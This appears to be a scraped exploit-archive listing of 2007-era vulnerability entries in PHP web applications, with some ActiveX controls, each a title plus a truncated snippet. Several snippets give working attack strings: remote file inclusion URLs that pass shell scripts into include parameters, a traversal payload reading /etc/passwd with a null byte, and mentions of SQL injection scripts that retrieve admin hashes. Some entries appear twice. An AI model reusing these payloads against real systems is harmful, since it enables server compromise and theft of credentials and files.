QuickTicket 1.2 - qti_checkname.php Local File Inclusion

QuickTicket 1.2 - qticheckname.php Local File Inclusion QuickTicket v1.2 Local File Inclusion download: http://www.qt-cute.org/download/qti12.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploit:...

PHPSiteBackup 0.1 - pcltar.lib.php Remote File Inclusion

PHPSiteBackup 0.1 - pcltar.lib.php Remote File Inclusion phpSiteBackup 0.1 pcltar.lib.php Remote File Include Vulnerability D.Script: http://kent.dl.sourceforge.net/sourceforge/phpsitebackup/phpSiteBackup-0.1.tgz Exploit: /phpSiteBackup-0.1/pcltar.lib.php?gpcltarlibdir=http://localhost/tryag.txt?...

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion b1gBB b1g Bulletion Board footer.inc.php Remote File Inclusion Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip V.Code : include $tfooter In : footer.inc.php Exploits :...

b1gbb 2.24.0 - 'footer.inc.php?tfooter' Remote File Inclusion

b1gBB b1g Bulletion Board footer.inc.php Remote File Inclusion Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip V.Code : include $tfooter In : footer.inc.php Exploits : http://www.name/path/footer.inc.php?tfooter=shell? Discovered by: Rf7awy...

Sun Board 1.00.00 alpha - Remote File Inclusion

Sun Board 1.00.00 Alpha Multiple Remote File Inclusion Vulnerabilities D.Script : http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip V.Code : require $sunPath.'config.php'; requireonce $sunPath.'dbms/'.$dbtype.'.php'; In : /include.php Exploits : /include.php?sunPath=Shell.txt? V.Co...

XOOPS Module wiwimod 0.4 - Remote File Inclusion

XOOPS Module WiwiMod v0.4 spawroot RFI Vulnerability D.Script: http://codigolivre.org.br/frs/download.php/1745/xoops2-modwiwimod0.4xavierjimenez.zip V.Code : include $spawroot.'config/spawcontrol.config.php'; include $spawroot.'class/toolbars.class.php'; include $spawroot.'class/lang.class.php'; ...

LAN Management System (LMS) 1.9.6 - Remote File Inclusion

LAN Management System LMS 1.9.6 - Remote File Inclusion !/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn...

Zenturi ProgramChecker - 'ActiveX NavigateUrl()' Insecure Method

----------------------------------------------------------------------------- Zenturi ProgramChecker ActiveX Control "NavigateUrl" Insecure Method url: http://www.programchecker.com/activeintro.aspx author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org Tested on Windo...

Zenturi ProgramChecker - ActiveX NavigateUrl() Insecure Method

Zenturi ProgramChecker - ActiveX NavigateUrl Insecure Method ----------------------------------------------------------------------------- Zenturi ProgramChecker ActiveX Control "NavigateUrl" Insecure Method url: http://www.programchecker.com/activeintro.aspx author: shinnai mail:...

Comicsense 0.2 - index.php?epi SQL Injection (2)

Comicsense 0.2 - index.php?epi SQL Injection 2 !/usr/bin/perl -w ComicSense 0.2 SQL Injection Exploit Discovered by: s0cratex Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Original Advisory: http://seclists.org/bugtraq/2007/Jun/0063.html http://milw0rm.com/exploits/4035...

Vistered Little 1.6a - skin Remote File Disclosure

Vistered Little 1.6a - skin Remote File Disclosure Vistered Little 1.6a Remote File Disclosure Vulnerability Page Script : http://windyroad.org/vistered-little-1.6a.zip Exploit : path/skins/common.css.php?skin=../../../../../../etc/passwd%00 Discovered by: Mahmoodali milw0rm.com 2007-05-28...

Vistered Little 1.6a - 'skin' Remote File Disclosure

Vistered Little 1.6a Remote File Disclosure Vulnerability Page Script : http://windyroad.org/vistered-little-1.6a.zip Exploit : path/skins/common.css.php?skin=../../../../../../etc/passwd%00 Discovered by: Mahmoodali milw0rm.com 2007-05-28...

Frequency Clock 0.1b - securelib Remote File Inclusion

Frequency Clock 0.1b - securelib Remote File Inclusion Frequency Clock Beta 0.1 Remote file include securelib Download script : http://kop.fact.co.uk/DIVE/cd/distribution/FrequencyClock/frequencyclock.zip Thanks str0ke :D Exploit http://localhost/PATH/conf.php?securelib=shell.txt?...

FlaP 1.0b - pachtofile Remote File Inclusion

FlaP 1.0b - pachtofile Remote File Inclusion FlaP v.1.0. Beta = Remote File Inclusion Vulnerability Vuln Code ERROR1:skin/html/table.php ? include "$pachtofile/leftmenu.php"; RFI CODE BUG1: Example1:http://victim.com/path/skin/html/table.php?pachtofile=Sh3LL Script...

MolyX BOARD 2.5.0 - 'index.php?lang' Local File Inclusion

=============== MolyX BOARD 2.5.0 Local File Inclusion ==== Possibly other versions =============== Vulnerability found by MurderSkillz ============================================== =============== d0rk "Powered by MolyX BOARD 2.5.0" ========================================= ===============...

Libstats 1.0.3 - template_csv.php Remote File Inclusion

Libstats 1.0.3 - templatecsv.php Remote File Inclusion Libstats 1.0.3 Cyber-warrior.org milw0rm.com 2007-05-18...

Build it Fast (bif3) 0.4.1 - Multiple Remote File Inclusions

bif3-0.4.1 = Remote File Include Vulnerablitiy D.Script: http://bif.lunix.com.ar/tgz/bif3-0.4.1.tgz Discovered by: Alkomandoz Hacker Homepage: asb-may.net & mohandko.com & sniper-sa.com ==================================== Exploit:Path/Base/Application.php?peardir=Shell...

Achievo 1.1.0 - 'config_atkroot' Remote File Inclusion

Achievo 1.1.0index.php Remote File Include Vulnerability Found by : Katatafish [email protected] Download http://www.achievo.org/files/achievo-stable-1.1.0.tar.gz File: ./atk.inc includeonce$configatkroot."atk/modules/class.atkmodule.inc"; Exploit...

NagiosQL 2005 2.00 - prepend_adm.php Remote File Inclusion

NagiosQL 2005 2.00 - prependadm.php Remote File Inclusion NagiosQL Remote file inclusion Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz Thanks str0ke Exploit : http://victim.com/nagiosQLpath/functions/prependadm.php?SETSpathphysical=shell.txt?...

CJG EXPLORER PRO 3.2 - 'g_pcltar_lib_dir' Remote File Inclusion

S==A==U==D==I CJG EXPLORER PRO v3.2 pcltar.lib.phppcltrace.lib.php Remote File Include Vulnerabilities Found By : Mogatil , [email protected] Script Site : http://www.zascom.com/download/PHP/1868-CEP-PHP.ZIP File : /pcltar.lib.php include$gpcltarlibdir."/pclerror.lib.php"; File : /pcltrace.lib.php...